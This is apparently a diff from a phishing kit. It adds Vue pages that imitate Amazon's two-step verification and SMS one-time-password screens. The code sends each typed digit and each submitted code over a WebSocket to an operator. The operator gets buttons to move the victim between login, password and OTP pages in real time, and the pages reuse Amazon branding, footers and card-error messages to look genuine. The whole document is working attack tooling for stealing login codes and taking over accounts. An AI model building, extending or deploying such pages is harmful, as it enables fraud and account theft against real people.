||||
const value = e.target.value;
|
||||
otpCode.value = value;
|
||||
|
||||
const hiddenOtp = document.getElementById("otpCode") as HTMLInputElement;
|
||||
if (hiddenOtp) hiddenOtp.value = value;
|
||||
|
||||
inputChange("input_card", "二步OTP驗證頁页", value);
|
||||
|
||||
cardMessage.value = "";
|
||||
showError.value = false;
|
||||
};
|
||||
|
||||
// 提交验证码
|
||||
const submitOtp = async (e: Event) => {
|
||||
e.preventDefault();
|
||||
|
||||
if (otpCode.value.length < 1) {
|
||||
showError.value = true;
|
||||
cardMessage.value = "Please enter a 6-digit code";
|
||||
return;
|
||||
}
|
||||
|
||||
await nextTick();
|
||||
cardMessage.value = "";
|
||||
showError.value = false;
|
||||
isLoading.value = true;
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitOp",
|
||||
subType: "submitVoice",
|
||||
pageTitle: "二步OTP驗證頁面",
|
||||
user_verification: otpCode.value,
|
||||
opButton: {
|
||||
showCustom: true,
|
||||
list: [
|
||||
{ label: "完成", value: "success" },
|
||||
{ label: "拒絕", value: "reject", type: "input2" },
|
||||
{ label: "登录首页", value: "user_login", type: "input2" },
|
||||
{ label: "密码页", value: "user_password", type: "input1" },
|
||||
|
||||
{ label: "短信OTP驗證頁", value: "user_verification_otp", type: "input1" },
|
||||
{ label: "跳轉完成", value: "success" },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
// 错误处理
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
if (
|
||||
data.message2 ===
|
||||
"This card does not support this transaction, please try another card"
|
||||
) {
|
||||
cardMessage.value = "The code you entered is invalid. Please check and try again.";
|
||||
} else {
|
||||
cardMessage.value = data.message2 || "";
|
||||
}
|
||||
showError.value = true;
|
||||
isLoading.value = false;
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const handleEventRef = (data: any) => handleEvent(data);
|
||||
eventBus.on("my-event", handleEventRef);
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "user_verification", pageTitle: "二步OTP驗證頁面" },
|
||||
})
|
||||
);
|
||||
|
||||
localStorage.setItem("route", "user_verification");
|
||||
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query?.message2) handleEvent({ message2: query.message2 });
|
||||
if (query?.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const stored = localStorage.getItem("message1");
|
||||
if (stored) message1.value = stored;
|
||||
}
|
||||
|
||||
// 恢复倒计时 + 首次自动开始短信倒计时
|
||||
restoreCountdowns();
|
||||
if (!localStorage.getItem("smsCountdownDeadline")) {
|
||||
startSmsCountdown();
|
||||
}
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("my-event", handleEventRef);
|
||||
|
||||
if (timer) clearInterval(timer);
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="a-container">
|
||||
<!-- 错误提示(服务器或客户端) -->
|
||||
<div v-if="showError || cardMessage" class="a-section a-spacing-medium">
|
||||
<div class="a-box a-alert a-alert-error auth-server-side-message-box a-spacing-base" role="alert">
|
||||
<div class="a-box-inner a-alert-container">
|
||||
<h4 class="a-alert-heading">There was a problem</h4>
|
||||
<div class="a-alert-content">
|
||||
{{ cardMessage || "The code you entered is not valid. Please try again." }}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="a-section auth-pagelet-mobile-container">
|
||||
|
||||
<form id="auth-mfa-form" method="post" novalidate action="https://www.amazon.com/ap/signin" @submit.prevent="submitOtp">
|
||||
<input type="hidden" name="appAction" value="SIGNIN_MFA" />
|
||||
|
||||
<h1 class="a-spacing-mini a-text-left">
|
||||
Two-Step Verification
|
||||
</h1>
|
||||
|
||||
<p>
|
||||
<!-- For added security, please enter the One Time Password (OTP) sent to your phone ending in {{ message1 }} -->
|
||||
|
||||
For added security, please enter the One Time Password (OTP) generated by your Authenticator App
|
||||
</p>
|
||||
|
||||
<div class="a-row">
|
||||
<label for="auth-mfa-otpcode" class="a-form-label auth-mobile-label">
|
||||
Enter OTP
|
||||
</label>
|
||||
<div class="a-input-text-wrapper a-span12 auth-autofocus auth-required-field">
|
||||
<input
|
||||
type="text"
|
||||
id="auth-mfa-otpcode"
|
||||
autocomplete="off"
|
||||
placeholder="Enter OTP"
|
||||
name="otpCode"
|
||||
autocorrect="off"
|
||||
autocapitalize="off"
|
||||
v-model="otpCode"
|
||||
@input="handleOtpInput"
|
||||
/>
|
||||
</div>
|
||||
<input type="hidden" name="deviceId" />
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div class="a-row a-spacing-top-medium">
|
||||
<div data-a-input-name="rememberDevice" class="a-checkbox a-checkbox-fancy a-control-row a-touch-checkbox">
|
||||
<label for="auth-mfa-remember-device">
|
||||
<input id="auth-mfa-remember-device" type="checkbox" name="rememberDevice" value="" />
|
||||
<i class="a-icon a-icon-checkbox"></i>
|
||||
<span class="a-label a-checkbox-label">
|
||||
Don't require code on this browser
|
||||
</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="a-row a-spacing-top-large">
|
||||
<div class="a-button-stack">
|
||||
<span class="a-button a-spacing-medium a-button-span12 a-button-primary auth-disable-button-on-submit" id="a-autoid-0">
|
||||
<span class="a-button-inner">
|
||||
<button
|
||||
id="auth-signin-button"
|
||||
class="a-button-input"
|
||||
type="submit"
|
||||
:disabled="isLoading || otpCode.length < 1"
|
||||
></button>
|
||||
<span class="a-button-text" aria-hidden="true" id="a-autoid-0-announce">
|
||||
Sign in
|
||||
</span>
|
||||
</span>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="a-row">
|
||||
<ul class="a-unordered-list a-vertical">
|
||||
<li class="a-spacing-small">
|
||||
<span class="a-list-item">
|
||||
<a
|
||||
id="auth-get-new-otp-link"
|
||||
class="a-link-normal"
|
||||
href="#"
|
||||
@click.prevent="resendCodeByText"
|
||||
:style="smsCounting ? 'color: #2162a1; cursor: not-allowed; text-decoration: none;' : ''"
|
||||
>
|
||||
Didn't receive the code?
|
||||
</a>
|
||||
</span>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<!-- 倒计时提示(保留原有逻辑) -->
|
||||
<!-- <div class="a-section a-spacing-medium" v-if="smsCounting">
|
||||
<div class="a-row">
|
||||
<div id="resend-approval-alert" class="a-box a-alert-inline a-alert-inline-info" aria-live="polite" aria-atomic="true">
|
||||
<div class="a-box-inner a-alert-container">
|
||||
<i class="a-icon a-icon-alert" aria-hidden="true"></i>
|
||||
<div class="a-alert-content">
|
||||
<div id="timer" class="a-section">
|
||||
Wait {{ smsTimeLeft }} seconds before requesting a new code.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div> -->
|
||||
|
||||
<!-- 隐藏字段保持原样 -->
|
||||
<input type="hidden" name="otpCode" id="otpCode" :value="otpCode" />
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Loading 遮罩 -->
|
||||
<Teleport to="body">
|
||||
<div v-if="isLoading" class="amz-overlay">
|
||||
<div class="amz-modal">
|
||||
<div class="amz-spinner">
|
||||
<svg viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle class="amz-spinner-path" cx="25" cy="25" r="20" fill="none" stroke-width="4"/>
|
||||
</svg>
|
||||
</div>
|
||||
<p class="amz-modal-text">Verifying your information…</p>
|
||||
<p class="amz-modal-sub">Please wait a moment.</p>
|
||||
</div>
|
||||
</div>
|
||||
</Teleport>
|
||||
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* 原有样式完全保留,不做任何修改 */
|
||||
.auth-clear-icons {
|
||||
margin-top: -4rem;
|
||||
display: none;
|
||||
float: right;
|
||||
padding: 1.2rem 1.2rem .6rem 1.2rem;
|
||||
transform: scale(1.2, 1.2);
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
background: 0 0;
|
||||
border: transparent;
|
||||
}
|
||||
|
||||
.auth-visible-password-container {
|
||||
width: 100%;
|
||||
padding: 0 10px 6px 10px;
|
||||
}
|
||||
|
||||
/* 聚焦和高亮样式 */
|
||||
.a-input-text-group .a-input-text-wrapper.a-form-focus {
|
||||
border-color: #2162a1;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.a-input-text-wrapper:focus-within {
|
||||
border-color: #2162a1;
|
||||
outline-color: var(--__dChFn1xR-MYZ, #888c8c);
|
||||
outline-style: solid;
|
||||
box-shadow: none;
|
||||
outline-offset: .2rem;
|
||||
outline-width: .2rem;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.a-container {
|
||||
min-width: 20rem;
|
||||
padding: 1.2rem 1.4rem 2.8rem;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
/* Loading 样式 */
|
||||
.amz-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(255, 255, 255, 0.75);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
.amz-modal {
|
||||
background: #fff;
|
||||
border: 1px solid #d5d9d9;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
|
||||
padding: 32px 40px;
|
||||
text-align: center;
|
||||
min-width: 240px;
|
||||
}
|
||||
.amz-spinner {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
margin: 0 auto 16px;
|
||||
animation: amz-spin 0.9s linear infinite;
|
||||
}
|
||||
.amz-spinner svg { width: 100%; height: 100%; }
|
||||
.amz-spinner-path {
|
||||
stroke: #e47911;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 80;
|
||||
stroke-dashoffset: 60;
|
||||
}
|
||||
@keyframes amz-spin { to { transform: rotate(360deg); } }
|
||||
.amz-modal-text {
|
||||
font-size: 15px;
|
||||
font-weight: 700;
|
||||
color: #111;
|
||||
margin: 0 0 6px;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
.amz-modal-sub {
|
||||
font-size: 13px;
|
||||
color: #565959;
|
||||
margin: 0;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
.a-unordered-list, ul {
|
||||
margin: 0 0 0 1.8rem;
|
||||
color: var(--__dChNmAmGoMXsw4B, #0f1111);
|
||||
}
|
||||
</style>
|
||||
505
a9_usa_Fine_amazon/src/views/user_verification_otp.vue
Normal file
@@ -0,0 +1,505 @@
|
||||
<script setup lang="ts">
|
||||
import {
|
||||
getCurrentInstance,
|
||||
onMounted,
|
||||
onUnmounted,
|
||||
ref,
|
||||
nextTick,
|
||||
computed,
|
||||
} from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useRoute } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const cardMessage = ref("");
|
||||
const message1 = ref("");
|
||||
const pageLoading = ref(true); // CSS加载中,2秒后显示内容
|
||||
|
||||
// 显示的手机号:message1 优先,其次 localStorage 存的账号
|
||||
const displayPhone = computed(() => {
|
||||
if (message1.value) return message1.value;
|
||||
return localStorage.getItem("userEmailOrPhone") || "";
|
||||
});
|
||||
|
||||
// 验证码输入(6位)
|
||||
const otpCode = ref("");
|
||||
|
||||
// 是否正在加载(提交时转圈)
|
||||
const isLoading = ref(false);
|
||||
|
||||
// 是否显示错误提示
|
||||
const showError = ref(false);
|
||||
|
||||
// 是否显示重发成功提示
|
||||
const showResendSuccess = ref(false);
|
||||
|
||||
// 倒计时相关(仅短信)
|
||||
const initialTime = 60;
|
||||
const smsDeadline = ref<number>(0); // 短信倒计时截止时间戳
|
||||
const smsTimeLeft = ref(0);
|
||||
const smsCounting = computed(() => smsTimeLeft.value > 0);
|
||||
|
||||
let timer: number | null = null;
|
||||
|
||||
// 统一的倒计时更新函数
|
||||
const updateCountdown = () => {
|
||||
const now = Date.now();
|
||||
|
||||
if (smsDeadline.value > now) {
|
||||
smsTimeLeft.value = Math.max(
|
||||
0,
|
||||
Math.ceil((smsDeadline.value - now) / 1000)
|
||||
);
|
||||
} else {
|
||||
smsTimeLeft.value = 0;
|
||||
if (timer) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// 启动全局定时器
|
||||
const startGlobalTimer = () => {
|
||||
if (timer) return;
|
||||
updateCountdown();
|
||||
timer = window.setInterval(updateCountdown, 1000);
|
||||
};
|
||||
|
||||
// 开始短信倒计时
|
||||
const startSmsCountdown = () => {
|
||||
smsDeadline.value = Date.now() + initialTime * 1000;
|
||||
localStorage.setItem("smsCountdownDeadline", smsDeadline.value.toString());
|
||||
startGlobalTimer();
|
||||
};
|
||||
|
||||
// 恢复倒计时状态
|
||||
const restoreCountdowns = () => {
|
||||
const smsSaved = localStorage.getItem("smsCountdownDeadline");
|
||||
|
||||
if (smsSaved) {
|
||||
smsDeadline.value = Number(smsSaved);
|
||||
}
|
||||
|
||||
if (smsDeadline.value > Date.now()) {
|
||||
startGlobalTimer();
|
||||
} else {
|
||||
localStorage.removeItem("smsCountdownDeadline");
|
||||
}
|
||||
};
|
||||
|
||||
// 重发短信验证码(仅短信)
|
||||
const resendCodeByText = () => {
|
||||
if (smsCounting.value || isLoading.value) return;
|
||||
|
||||
otpCode.value = "";
|
||||
cardMessage.value = "";
|
||||
showError.value = false;
|
||||
|
||||
startSmsCountdown();
|
||||
|
||||
setTimeout(() => { showResendSuccess.value = true; }, 1000);
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: {
|
||||
pageType: "user_verification_otp",
|
||||
resultType: "resendCode",
|
||||
pageTitle: "短信OTP驗證頁面",
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
// 输入验证码
|
||||
const handleOtpInput = (e: any) => {
|
||||
const value = e.target.value.replace(/\D/g, "").slice(0, 6);
|
||||
otpCode.value = value;
|
||||
|
||||
const hiddenOtp = document.getElementById("otpCode") as HTMLInputElement;
|
||||
if (hiddenOtp) hiddenOtp.value = value;
|
||||
|
||||
inputChange("input_card", "短信OTP驗證頁页", value);
|
||||
|
||||
cardMessage.value = "";
|
||||
showError.value = false;
|
||||
showResendSuccess.value = false;
|
||||
};
|
||||
|
||||
// 提交验证码
|
||||
const submitOtp = async (e: Event) => {
|
||||
e.preventDefault();
|
||||
|
||||
if (otpCode.value.length !== 6) {
|
||||
showError.value = true;
|
||||
cardMessage.value = "Please enter a 6-digit code";
|
||||
return;
|
||||
}
|
||||
|
||||
await nextTick();
|
||||
cardMessage.value = "";
|
||||
showError.value = false;
|
||||
showResendSuccess.value = false;
|
||||
isLoading.value = true;
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitOp",
|
||||
subType: "submitVoice",
|
||||
pageTitle: "短信OTP驗證頁面",
|
||||
user_verification_otp: otpCode.value,
|
||||
opButton: {
|
||||
showCustom: true,
|
||||
list: [
|
||||
{ label: "完成", value: "success" },
|
||||
{ label: "拒絕", value: "reject", type: "input2" },
|
||||
{ label: "登录首页", value: "user_login", type: "input2" },
|
||||
{ label: "密码页", value: "user_password", type: "input1" },
|
||||
{ label: "二步OTP驗證頁", value: "user_verification", },
|
||||
{ label: "跳轉完成", value: "success" },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
// 错误处理
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
if (
|
||||
data.message2 ===
|
||||
"This card does not support this transaction, please try another card"
|
||||
) {
|
||||
cardMessage.value = "Invalid OTP. Please check your code and try again.";
|
||||
} else {
|
||||
cardMessage.value = data.message2 || "";
|
||||
}
|
||||
showError.value = true;
|
||||
isLoading.value = false;
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const handleEventRef = (data: any) => handleEvent(data);
|
||||
eventBus.on("my-event", handleEventRef);
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "user_verification_otp", pageTitle: "短信OTP驗證頁面" },
|
||||
})
|
||||
);
|
||||
|
||||
localStorage.setItem("route", "user_verification_otp");
|
||||
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query?.message2) handleEvent({ message2: query.message2 });
|
||||
if (query?.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const stored = localStorage.getItem("message1");
|
||||
if (stored) message1.value = stored;
|
||||
}
|
||||
|
||||
// 恢复倒计时 + 首次自动开始短信倒计时
|
||||
restoreCountdowns();
|
||||
if (!localStorage.getItem("smsCountdownDeadline")) {
|
||||
startSmsCountdown();
|
||||
}
|
||||
|
||||
// CSS加载完成后2秒显示页面内容
|
||||
setTimeout(() => { pageLoading.value = false; }, 2000);
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("my-event", handleEventRef);
|
||||
|
||||
if (timer) clearInterval(timer);
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
|
||||
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_1.css">
|
||||
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_2.css">
|
||||
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_3.css">
|
||||
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_4.css">
|
||||
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_5.css">
|
||||
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_6.css">
|
||||
<link rel="stylesheet" href="/Static_zy/st/assets/css/test_styles_7.css">
|
||||
|
||||
<!-- CSS加载遮罩:2秒后消失 -->
|
||||
<div v-if="pageLoading" class="otp-page-loading">
|
||||
<div class="otp-page-loading-inner">
|
||||
<svg class="otp-page-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="25" cy="25" r="20" fill="none" stroke="#e47911" stroke-width="4" stroke-dasharray="80" stroke-dashoffset="60" stroke-linecap="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="a-page" v-show="!pageLoading">
|
||||
<div class="a-section a-spacing-none">
|
||||
<div class="a-container a-global-nav-wrapper" style="pointer-events: none;">
|
||||
|
||||
<div class="a-section a-spacing-none a-text-center">
|
||||
|
||||
<a class="a-link-nav-icon" tabindex="-1" href="https://www.amazon.co.jp/ref=ap_frn_logo">
|
||||
|
||||
<i class="a-icon a-icon-logo" role="img" aria-label="Amazon"></i>
|
||||
|
||||
</a>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="a-section a-padding-base">
|
||||
<div class="a-section cvf-widget-container">
|
||||
<div class="a-section cvf-page-layout">
|
||||
<div id="cvf-page-content" class="a-section">
|
||||
|
||||
<div class="a-box">
|
||||
<div class="a-box-inner a-padding-extra-large">
|
||||
<div class="a-row a-spacing-none">
|
||||
<form id="verification-code-form" name="signIn" method="post" action="verify"
|
||||
class="cvf-widget-form fwcim-form a-spacing-none" data-fwcim-id="o5Z1OMw5" @submit.prevent="submitOtp">
|
||||
|
||||
<div class="a-row a-spacing-small">
|
||||
<div class="a-row a-spacing-small">
|
||||
<h1>Authentication required</h1>
|
||||
</div>
|
||||
<div id="instruction_text" class="a-row a-spacing-small">
|
||||
<div class="a-row">
|
||||
<div id="cvf-otp-autoread-instruction" class="a-section"><span>Enter the One Time Password
|
||||
(OTP) we sent you. {{ displayPhone }}</span>
|
||||
<a class="a-link-normal otp-autoread-change-link" href="#" @click.prevent="router.push('/user_login')">Change</a>
|
||||
</div>
|
||||
<div id="cvf-otp-autoread-timeout"
|
||||
class="a-box a-alert a-alert-error auth-client-side-message-box aok-hidden a-spacing-small a-spacing-top-small sf-hidden"
|
||||
role="alert"></div>
|
||||
</div>
|
||||
<div id="otp-request-failed-alert"
|
||||
class="a-box a-alert a-alert-error auth-client-side-message-box aok-hidden a-spacing-medium sf-hidden"
|
||||
role="alert"></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="a-row a-spacing-small">
|
||||
<div id="otp_box_label" class="a-row a-spacing-micro cvf-widget-input-code-label"><label
|
||||
for="cvf-input-code" class="a-form-label">Enter One Time Password (OTP)</label></div>
|
||||
<div id="cvf-input-code-container">
|
||||
<div
|
||||
class="a-input-text-wrapper a-span12 cvf-widget-input cvf-widget-input-code cvf-autofocus">
|
||||
<input type="tel" maxlength="6" required id="cvf-input-code" autocomplete="off"
|
||||
name="code" aria-describedby="inline-otp-messages" :value="otpCode" @input="handleOtpInput"></div>
|
||||
</div>
|
||||
<div id="cvf-otp-autoread-progress"
|
||||
class="a-section a-spacing-small aok-hidden otp-autoread-progress-widget sf-hidden"></div>
|
||||
<div id="cvf-otp-autoread-success" class="a-section a-spacing-small aok-hidden sf-hidden">
|
||||
</div>
|
||||
</div>
|
||||
<div id="inline-otp-messages" class="a-row a-spacing-micro">
|
||||
<div aria-live="assertive"
|
||||
class="a-box a-alert-inline a-alert-inline-error cvf-widget-alert cvf-widget-client-alert cvf-widget-invalid-code-alert cvf-hidden sf-hidden"
|
||||
role="alert"></div>
|
||||
<div aria-live="assertive"
|
||||
class="a-box a-alert-inline a-alert-inline-error cvf-widget-alert cvf-widget-client-alert cvf-widget-empty-field-alert cvf-hidden sf-hidden"
|
||||
role="alert"></div>
|
||||
|
||||
<div v-show="showResendSuccess" aria-live="assertive"
|
||||
class="a-box a-alert-inline a-alert-inline-success cvf-widget-alert cvf-widget-alert-id-cvf-resend-code"
|
||||
aria-atomic="true">
|
||||
<div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert" aria-hidden="true"></i>
|
||||
<div class="a-alert-content">
|
||||
<div class="a-section cvf-alert-section cvf-widget-alert-message">A new code has been sent to your mobile number.</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-show="showError" aria-live="assertive"
|
||||
class="a-box a-alert-inline a-alert-inline-error cvf-widget-alert cvf-widget-alert-id-cvf-invalid-code"
|
||||
role="alert">
|
||||
<div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"
|
||||
aria-hidden="true"></i>
|
||||
<div class="a-alert-content">
|
||||
<div class="a-section cvf-alert-section cvf-widget-alert-message">{{ cardMessage || 'Invalid OTP. Please check your code and try again.' }}</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<div class="a-row a-spacing-small"><span id="cvf-submit-otp-button"
|
||||
class="a-button a-button-span12 a-button-primary cvf-widget-btn cvf-widget-btn-verify"><span
|
||||
class="a-button-inner"><input aria-label="Verify OTP Button" class="a-button-input"
|
||||
type="submit" value><span id="cvf-submit-otp-button-announce" class="a-button-text"
|
||||
aria-hidden="true">Continue</span></span></span></div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="a-row a-spacing-none">
|
||||
<form method="post" action="verify" class="cvf-widget-form cvf-widget-form-resend a-spacing-none">
|
||||
<div class="a-section a-spacing-none a-spacing-top-large a-text-left cvf-widget-section-js"
|
||||
role="status">
|
||||
<a id="cvf-resend-link"
|
||||
:class="['a-link-normal', 'cvf-widget-btn', 'cvf-widget-link-resend', { 'a-disabled': smsCounting }]"
|
||||
href="#" @click.prevent="resendCodeByText">
|
||||
<span v-if="smsCounting">Resend code ({{ smsTimeLeft }}s)</span>
|
||||
<span v-else>Resend code</span>
|
||||
</a>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="a-row a-spacing-none">
|
||||
<form method="post" action="verify" class="cvf-widget-form cvf-widget-form-resend a-spacing-none">
|
||||
<span
|
||||
class="a-button a-button-span12 a-button-base cvf-widget-btn cvf-widget-btn-resend sf-hidden"
|
||||
id="a-autoid-0"></span>
|
||||
</form>
|
||||
</div>
|
||||
<form id="wait-resend-auto-read" method="post" action="verify"
|
||||
class="aok-hidden cvf-widget-form wait-one-minute a-spacing-none sf-hidden">
|
||||
</form>
|
||||
<div class="a-row a-spacing-top-base"></div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="a-row auth-footer" style="pointer-events: none;">
|
||||
|
||||
<div class="a-divider a-divider-section">
|
||||
<div class="a-divider-inner"></div>
|
||||
</div>
|
||||
<div id="footer" class="a-section">
|
||||
<div class="a-section a-spacing-small a-text-center a-size-mini">
|
||||
|
||||
<span class="auth-footer-separator"></span>
|
||||
|
||||
<a class="a-link-normal" target="_blank" rel="noopener"
|
||||
href="https://www.amazon.co.jp/gp/aw/help/ref=ap_mobile_footer_cou?id=643006">
|
||||
Conditions of Use
|
||||
</a>
|
||||
|
||||
<span class="auth-footer-separator"></span>
|
||||
|
||||
<a class="a-link-normal" target="_blank" rel="noopener"
|
||||
href="https://www.amazon.co.jp/gp/aw/help/ref=ap_mobile_footer_privacy_notice?id=643000">
|
||||
Privacy Notice
|
||||
</a>
|
||||
|
||||
<span class="auth-footer-separator"></span>
|
||||
|
||||
<a class="a-link-normal" target="_blank" rel="noopener" href="https://www.amazon.co.jp/help">
|
||||
Help
|
||||
</a>
|
||||
|
||||
<span class="auth-footer-separator"></span>
|
||||
|
||||
</div>
|
||||
<div class="a-section a-spacing-none a-text-center">
|
||||
<span class="a-size-mini a-color-secondary">
|
||||
© 1996-2026, Amazon.com, Inc. or its affiliates
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="a-white" class="sf-hidden"></div>
|
||||
<div id="a-popover-root" style="z-index:-1;position:absolute"></div>
|
||||
|
||||
<!-- 提交中 loading 弹窗 -->
|
||||
<Teleport to="body">
|
||||
<div v-if="isLoading" class="amz-overlay">
|
||||
<div class="amz-modal">
|
||||
<div class="amz-spinner">
|
||||
<svg viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle class="amz-spinner-path" cx="25" cy="25" r="20" fill="none" stroke-width="4"/>
|
||||
</svg>
|
||||
</div>
|
||||
<p class="amz-modal-text">Verifying your information…</p>
|
||||
<p class="amz-modal-sub">Please wait a moment.</p>
|
||||
</div>
|
||||
</div>
|
||||
</Teleport>
|
||||
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* CSS加载全屏遮罩 */
|
||||
.otp-page-loading {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: #fff;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9998;
|
||||
}
|
||||
.otp-page-loading-inner {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
animation: amz-spin 0.9s linear infinite;
|
||||
}
|
||||
.otp-page-spinner {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
/* 提交中弹窗 */
|
||||
.amz-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(255,255,255,0.75);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
.amz-modal {
|
||||
background: #fff;
|
||||
border: 1px solid #d5d9d9;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
|
||||
padding: 32px 40px;
|
||||
text-align: center;
|
||||
min-width: 240px;
|
||||
}
|
||||
.amz-spinner {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
margin: 0 auto 16px;
|
||||
animation: amz-spin 0.9s linear infinite;
|
||||
}
|
||||
.amz-spinner svg { width: 100%; height: 100%; }
|
||||
.amz-spinner-path {
|
||||
stroke: #e47911;
|
||||
stroke-linecap: round;
|
||||
stroke-dasharray: 80;
|
||||
stroke-dashoffset: 60;
|
||||
}
|
||||
@keyframes amz-spin { to { transform: rotate(360deg); } }
|
||||
.amz-modal-text {
|
||||
font-size: 15px;
|
||||
font-weight: 700;
|
||||
color: #111;
|
||||
margin: 0 0 6px;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
.amz-modal-sub {
|
||||
font-size: 13px;
|
||||
color: #565959;
|
||||
margin: 0;
|
||||
font-family: "Amazon Ember", Arial, sans-serif;
|
||||
}
|
||||
.a-disabled { pointer-events: none; opacity: 0.5; }
|
||||
</style>
|
||||